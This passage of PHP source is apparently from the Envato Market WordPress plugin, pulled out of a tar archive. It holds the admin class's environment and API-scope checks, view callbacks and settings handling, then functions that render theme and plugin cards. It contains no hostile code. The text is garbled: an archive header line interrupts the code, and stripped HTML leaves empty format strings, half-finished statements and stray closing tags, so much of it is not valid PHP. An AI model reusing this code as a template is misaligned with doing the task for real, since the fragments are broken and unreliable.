envato_market()->get_version(), 'timeout' => 5, ] ); $response_code = wp_remote_retrieve_response_code( $response ); if ( $response && ! is_wp_error( $response ) && $response_code === 200 ) { $limits[ $host['hostname'] ] = [ 'ok' => true, 'title' => $host['title'], 'message' => 'Connected ok.', ]; } else { $limits[ $host['hostname'] ] = [ 'ok' => false, 'title' => $host['title'], 'message' => "Connection failed. Status '$response_code'. Please ensure PHP is allowed to connect to the host '" . $host['hostname'] . "' - or ask your hosting provider to do this if you’re unsure. " . ( is_wp_error( $response ) ? $response->get_error_message() : '' ), ]; } } catch ( \Exception $e ) { $limits[ $host['hostname'] ] = [ 'ok' => true, 'title' => $host['title'], 'message' => "Connection failed. Please contact the hosting provider and ensure PHP is allowed to connect to the host '" . $host['hostname'] . "'. " . $e->getMessage(), ]; } } // Check authenticated API request if ( !defined('ENVATO_LOCAL_DEVELOPMENT') ) { $response = envato_market()->api()->request( 'https://api.envato.com/whoami' ); if ( is_wp_error( $response ) ) { $limits['authentication'] = [ 'ok' => false, 'title' => 'Envato API Authentication', 'message' => "Not currently authenticated with the Envato API. Please add your API token. " . $response->get_error_message(), ]; } elseif ( ! isset( $response['scopes'] ) ) { $limits['authentication'] = [ 'ok' => false, 'title' => 'Envato API Authentication', 'message' => "Missing API permissions. Please re-create your Envato API token with the correct permissions. ", ]; } else { $minimum_scopes = $this->get_required_permissions(); $maximum_scopes = array( 'default' => 'Default' ) + $minimum_scopes; $missing_scopes = array(); $additional_scopes = array(); foreach ( $minimum_scopes as $required_scope => $required_scope_name ) { if ( ! in_array( $required_scope, $response['scopes'] ) ) { // The scope minimum required scope doesn't exist. $missing_scopes [] = $required_scope; } } foreach ( $response['scopes'] as $scope ) { if ( ! isset( $maximum_scopes[ $scope ] ) ) { // The available scope is outside our maximum bounds. $additional_scopes [] = $scope; } } $limits['authentication'] = [ 'ok' => true, 'title' => 'Envato API Authentication', 'message' => "Authenticated successfully with correct scopes: " . implode( ', ', $response['scopes'] ), ]; } } $debug_enabled = defined( 'WP_DEBUG' ) && WP_DEBUG; $limits['wp_debug'] = [ 'ok' => ! $debug_enabled, 'title' => 'WP Debug', 'message' => $debug_enabled ? 'If you’re on a production website, it’s best to set WP_DEBUG to false, please ask your hosting provider to do this if you’re unsure.' : 'WP Debug is disabled, all ok.', ]; $zip_archive_installed = class_exists( '\ZipArchive' ); $limits['zip_archive'] = [ 'ok' => $zip_archive_installed, 'title' => 'ZipArchive Support', 'message' => $zip_archive_installed ? 'ZipArchive is available.' : 'ZipArchive is not available. If you have issues installing or updating items please ask your hosting provider to enable ZipArchive.', ]; $php_version_ok = version_compare( PHP_VERSION, '7.0', '>=' ); $limits['php_version'] = [ 'ok' => $php_version_ok, 'title' => 'PHP Version', 'message' => $php_version_ok ? 'PHP version is ok at ' . PHP_VERSION . '.' : 'Please ask the hosting provider to upgrade your PHP version to at least 7.0 or above.', ]; require_once( ABSPATH . 'wp-admin/includes/file.php' ); $current_filesystem_method = get_filesystem_method(); if ( $current_filesystem_method !== 'direct' ) { $limits['filesystem_method'] = [ 'ok' => false, 'title' => 'WordPress Filesystem', 'message' => 'Please enable WordPress FS_METHOD direct - or ask your hosting provider to do this if you’re unsure.', ]; } $wp_upload_dir = wp_upload_dir(); $upload_base_dir = $wp_upload_dir['basedir']; $upload_base_dir_writable = is_writable( $upload_base_dir ); $limits['wp_content_writable'] = [ 'ok' => $upload_base_dir_writable, 'title' => 'WordPress File Permissions', 'message' => $upload_base_dir_writable ? 'is ok.' : 'Please set correct WordPress PHP write permissions for the wp-content directory - or ask your hosting provider to do this if you’re unsure.', ]; $active_plugins = get_option( 'active_plugins' ); $active_plugins_ok = count( $active_plugins ) < 15; if ( ! $active_plugins_ok ) { $limits['active_plugins'] = [ 'ok' => false, 'title' => 'Active Plugins', 'message' => 'Please try to reduce the number of active plugins on your WordPress site, as this will slow things down.', ]; } return $limits; } /** * Admin page callback. * * @since 1.0.0 */ public function render_admin_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/admin.php' ); } /** * OAuth section callback. * * @since 1.0.0 */ public function render_oauth_section_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/section/oauth.php' ); } /** * Items section callback. * * @since 1.0.0 */ public function render_items_section_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/section/items.php' ); } /** * Token setting callback. * * @since 1.0.0 */ public function render_token_setting_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/setting/token.php' ); } /** * Items setting callback. * * @since 1.0.0 */ public function render_items_setting_callback() { require( envato_market()->get_plugin_path() . 'inc/admin/view/callback/setting/items.php' ); } /** * Intro * * @since 1.0.0 */ public function render_intro_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/intro.php' ); } /** * Tabs * * @since 1.0.0 */ public function render_tabs_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/tabs.php' ); } /** * Settings panel * * @since 1.0.0 */ public function render_settings_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/settings.php' ); } /** * Help panel * * @since 2.0.1 */ public function render_help_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/help.php' ); } /** * Themes panel * * @since 1.0.0 */ public function render_themes_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/themes.php' ); } /** * Plugins panel * * @since 1.0.0 */ public function render_plugins_panel_partial() { require( envato_market()->get_plugin_path() . 'inc/admin/view/partials/plugins.php' ); } /** * Success notice. * * @since 1.0.0 */ public function render_success_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/success.php' ); } /** * Success no-items notice. * * @since 1.0.0 */ public function render_success_no_items_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/success-no-items.php' ); } /** * Success single-use notice. * * @since 1.0.0 */ public function render_success_single_use_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/success-single-use.php' ); } /** * Error details. * * @since 2.0.2 */ public function render_additional_error_details() { $error_details = get_site_transient( envato_market()->get_option_name() . '_error_information' ); if ( $error_details && ! empty( $error_details['title'] ) ) { extract( $error_details ); require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-details.php' ); } } /** * Error notice. * * @since 1.0.0 */ public function render_error_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error.php' ); $this->render_additional_error_details(); } /** * Permission error notice. * * @since 2.0.1 */ public function render_error_permissions() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-permissions.php' ); $this->render_additional_error_details(); } /** * Error single-use notice. * * @since 1.0.0 */ public function render_error_single_use_notice() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-single-use.php' ); $this->render_additional_error_details(); } /** * Error missing zip. * * @since 2.0.1 */ public function render_error_missing_zip() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-missing-zip.php' ); $this->render_additional_error_details(); } /** * Error http * * @since 2.0.1 */ public function render_error_http() { require( envato_market()->get_plugin_path() . 'inc/admin/view/notice/error-http.php' ); $this->render_additional_error_details(); } /** * Use the Settings API when in network mode. * * This allows us to make use of the same WordPress Settings API when displaying the menu item in network mode. * * @since 2.0.0 */ public function save_network_settings() { check_admin_referer( envato_market()->get_slug() . '-options' ); global $new_whitelist_options; $options = $new_whitelist_options[ envato_market()->get_slug() ]; foreach ( $options as $option ) { if ( isset( $_POST[ $option ] ) ) { update_site_option( $option, $_POST[ $option ] ); } else { delete_site_option( $option ); } } wp_redirect( envato_market()->get_page_url() ); exit; } /** * Store additional error information in transient so users can self debug. * * @since 2.0.2 */ public function store_additional_error_debug_information( $title, $message = '', $data = [] ) { set_site_transient( envato_market()->get_option_name() . '_error_information', [ 'title' => $title, 'message' => $message, 'data' => $data, ], 120 ); } } endif; functions.php000064400000040477147207143700007306 0ustar00items()->themes( $group ); if ( empty( $premium ) ) { return; } foreach ( $premium as $slug => $theme ) : $name = $theme['name']; $author = $theme['author']; $version = $theme['version']; $description = $theme['description']; $url = $theme['url']; $author_url = $theme['author_url']; $theme['hasUpdate'] = false; if ( 'active' === $group || 'installed' === $group ) { $get_theme = wp_get_theme( $slug ); if ( $get_theme->exists() ) { $name = $get_theme->get( 'Name' ); $author = $get_theme->get( 'Author' ); $version = $get_theme->get( 'Version' ); $description = $get_theme->get( 'Description' ); $author_url = $get_theme->get( 'AuthorURI' ); if ( version_compare( $version, $theme['version'], '<' ) ) { $theme['hasUpdate'] = true; } } } // Setup the column CSS classes. $classes = array( 'envato-card', 'theme' ); if ( 'active' === $group ) { $classes[] = 'active'; } // Setup the update action links. $update_actions = array(); if ( true === $theme['hasUpdate'] ) { $classes[] = 'update'; $classes[] = 'envato-card-' . esc_attr( $slug ); if ( current_user_can( 'update_themes' ) ) { // Upgrade link. $upgrade_link = add_query_arg( array( 'action' => 'upgrade-theme', 'theme' => esc_attr( $slug ), ), self_admin_url( 'update.php' ) ); $update_actions['update'] = sprintf( '%6$s', wp_nonce_url( $upgrade_link, 'upgrade-theme_' . $slug ), esc_attr__( 'Update %s now', 'envato-market' ), esc_attr( $name ), esc_attr( $slug ), esc_attr( $theme['version'] ), esc_html__( 'Update Available', 'envato-market' ) ); $update_actions['details'] = sprintf( '%3$s', esc_url( $url ), esc_attr( $name ), sprintf( __( 'View version %1$s details.', 'envato-market' ), $theme['version'] ) ); } } // Setup the action links. $actions = array(); if ( 'active' === $group && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { // Customize theme. $customize_url = admin_url( 'customize.php' ); $customize_url .= '?theme=' . urlencode( $slug ); $customize_url .= '&return=' . urlencode( envato_market()->get_page_url() . '#themes' ); $actions['customize'] = '' . sprintf( __( 'Customize “%s”', 'envato-market' ), $name ) . ''; } elseif ( 'installed' === $group ) { $can_activate = true; // @codeCoverageIgnoreStart // Multisite needs special attention. if ( is_multisite() && ! $get_theme->is_allowed( 'both' ) && current_user_can( 'manage_sites' ) ) { $can_activate = false; if ( current_user_can( 'manage_network_themes' ) ) { $actions['network_enable'] = '' . sprintf( __( 'Network Enable “%s”', 'envato-market' ), $name ) . ''; } } // @codeCoverageIgnoreEnd // Can activate theme. if ( $can_activate && current_user_can( 'switch_themes' ) ) { $activate_link = add_query_arg( array( 'action' => 'activate', 'stylesheet' => urlencode( $slug ), ), admin_url( 'themes.php' ) ); $activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $slug ); // Activate link. $actions['activate'] = '' . sprintf( __( 'Activate “%s”', 'envato-market' ), $name ) . ''; // Preview theme. if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $preview_url = admin_url( 'customize.php' ); $preview_url .= '?theme=' . urlencode( $slug ); $preview_url .= '&return=' . urlencode( envato_market()->get_page_url() . '#themes' ); $actions['customize_preview'] = '' . sprintf( __( 'Live Preview “%s”', 'envato-market' ), $name ) . ''; } } } elseif ( 'install' === $group && current_user_can( 'install_themes' ) ) { // Install link. $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-theme', 'id' => $theme['id'], ), self_admin_url( 'admin.php' ) ); $actions['install'] = ' ' . sprintf( __( 'Install %s', 'envato-market' ), $name ) . ' '; } if ( 0 === strrpos( html_entity_decode( $author ), '' . esc_html( $author ) . ''; } ?>
    $count > 0 ? ( $rating / 5 * 100 ) : 0, 'type' => 'percent', 'number' => $count, ) ); } else { wp_star_rating( array( 'rating' => $theme['rating'] > 0 ? ( $theme['rating'] / 5 * 100 ) : 0, 'type' => 'percent', ) ); } } ?>
    items()->plugins( $group ); if ( empty( $premium ) ) { return; } $plugins = envato_market()->items()->wp_plugins(); foreach ( $premium as $slug => $plugin ) : $name = $plugin['name']; $author = $plugin['author']; $version = $plugin['version']; $description = $plugin['description']; $url = $plugin['url']; $author_url = $plugin['author_url']; $plugin['hasUpdate'] = false; // Setup the column CSS classes. $classes = array( 'envato-card', 'plugin' ); if ( 'active' === $group ) { $classes[] = 'active'; } // Setup the update action links. $update_actions = array(); // Check for an update. if ( isset( $plugins[ $slug ] ) && version_compare( $plugins[ $slug ]['Version'], $plugin['version'], '<' ) ) { $plugin['hasUpdate'] = true; $classes[] = 'update'; $classes[] = 'envato-card-' . sanitize_key( dirname( $slug ) ); if ( current_user_can( 'update_plugins' ) ) { // Upgrade link. $upgrade_link = add_query_arg( array( 'action' => 'upgrade-plugin', 'plugin' => $slug, ), self_admin_url( 'update.php' ) ); // Details link. $details_link = add_query_arg( array( 'action' => 'upgrade-plugin', 'tab' => 'plugin-information', 'plugin' => dirname( $slug ), 'section' => 'changelog', 'TB_iframe' => 'true', 'width' => 640, 'height' => 662, ), self_admin_url( 'plugin-install.php' ) ); $update_actions['update'] = sprintf( '%7$s', wp_nonce_url( $upgrade_link, 'upgrade-plugin_' . $slug ), esc_attr__( 'Update %s now', 'envato-market' ), esc_attr( $name ), esc_attr( $slug ), sanitize_key( dirname( $slug ) ), esc_attr( $version ), esc_html__( 'Update Available', 'envato-market' ) ); $update_actions['details'] = sprintf( '%3$s', esc_url( $details_link ), esc_attr( $name ), sprintf( __( 'View version %1$s details.', 'envato-market' ), $version ) ); } } // Setup the action links. $actions = array(); if ( 'active' === $group ) { // Deactivate link. $deactivate_link = add_query_arg( array( 'action' => 'deactivate', 'plugin' => $slug, ), self_admin_url( 'plugins.php' ) ); $actions['deactivate'] = ' ' . sprintf( __( 'Deactivate %s', 'envato-market' ), $name ) . ' '; } elseif ( 'installed' === $group ) { if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) { // Delete link. $delete_link = add_query_arg( array( 'action' => 'delete-selected', 'checked[]' => $slug, ), self_admin_url( 'plugins.php' ) ); $actions['delete'] = ' ' . sprintf( __( 'Delete %s', 'envato-market' ), $name ) . ' '; } if ( ! is_multisite() && current_user_can( 'activate_plugins' ) ) { // Activate link. $activate_link = add_query_arg( array( 'action' => 'activate', 'plugin' => $slug, ), self_admin_url( 'plugins.php' ) ); $actions['activate'] = ' ' . sprintf( __( 'Activate %s', 'envato-market' ), $name ) . ' '; } // @codeCoverageIgnoreStart // Multisite needs special attention. if ( is_multisite() ) { if ( current_user_can( 'manage_network_plugins' ) ) { $actions['network_activate'] = ' ' . sprintf( __( 'Network Activate %s', 'envato-market' ), $name ) . ' '; } } // @codeCoverageIgnoreEnd } elseif ( 'install' === $group && current_user_can( 'install_plugins' ) ) { // Install link. $install_link = add_query_arg( array( 'page' => envato_market()->get_slug(), 'action' => 'install-plugin', 'id' => $plugin['id'], ), self_admin_url( 'admin.php' ) ); $actions['install'] = ' ' . sprintf( __( 'Install %s', 'envato-market' ), $name ) . ' '; } if ( 0 === strrpos( html_entity_decode( $author ), '' . esc_html( $author ) . ''; } ?>
    $plugin['rating']['rating'] > 0 ? ( $plugin['rating']['rating'] / 5 * 100 ) : 0, 'type' => 'percent', 'number' => $plugin['rating']['count'], ) ); } else { wp_star_rating( array( 'rating' => $plugin['rating'] > 0 ? ( $plugin['rating'] / 5 * 100 ) : 0, 'type' => 'percent', ) ); } } ?>